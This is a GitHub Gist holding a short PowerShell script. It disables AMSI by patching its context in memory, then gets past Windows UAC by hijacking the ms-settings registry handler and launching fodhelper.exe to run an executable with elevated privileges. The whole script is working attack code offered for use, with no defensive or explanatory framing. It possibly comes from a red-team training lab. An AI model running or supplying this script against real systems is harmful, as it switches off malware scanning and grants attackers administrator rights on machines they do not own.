Created
November 16, 2024 17:22
-
-
Save LongWayHomie/356403d8e47095e0e893dad1549f724f to your computer and use it in GitHub Desktop.
Script to bypass AMSI in PS and use FodHelper to bypass UAC
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #Bypass AMSI | |
| $a=[Ref].Assembly.GetTypes();Foreach($b in $a) {if ($b.Name -like "*iUtils") {$c=$b}};$d=$c.GetFields('NonPublic,Static');Foreach($e in $d) {if ($e.Name -like "*Context") {$f=$e}};$g=$f.GetValue($null);[IntPtr]$ptr=$g;[Int32[]]$buf = @(0);[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 1) | |
| #UAC Bypass | |
| New-Item -Path HKCU:\Software\Classes\ms-settings\shell\open\command -Value "C:\Users\bfarmer\Desktop\ph.exe" -Force | |
| New-ItemProperty -Path HKCU:\Software\Classes\ms-settings\shell\open\command -Name DelegateExecute -PropertyType String -Force | |
| C:\Windows\System32\fodhelper.exe |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment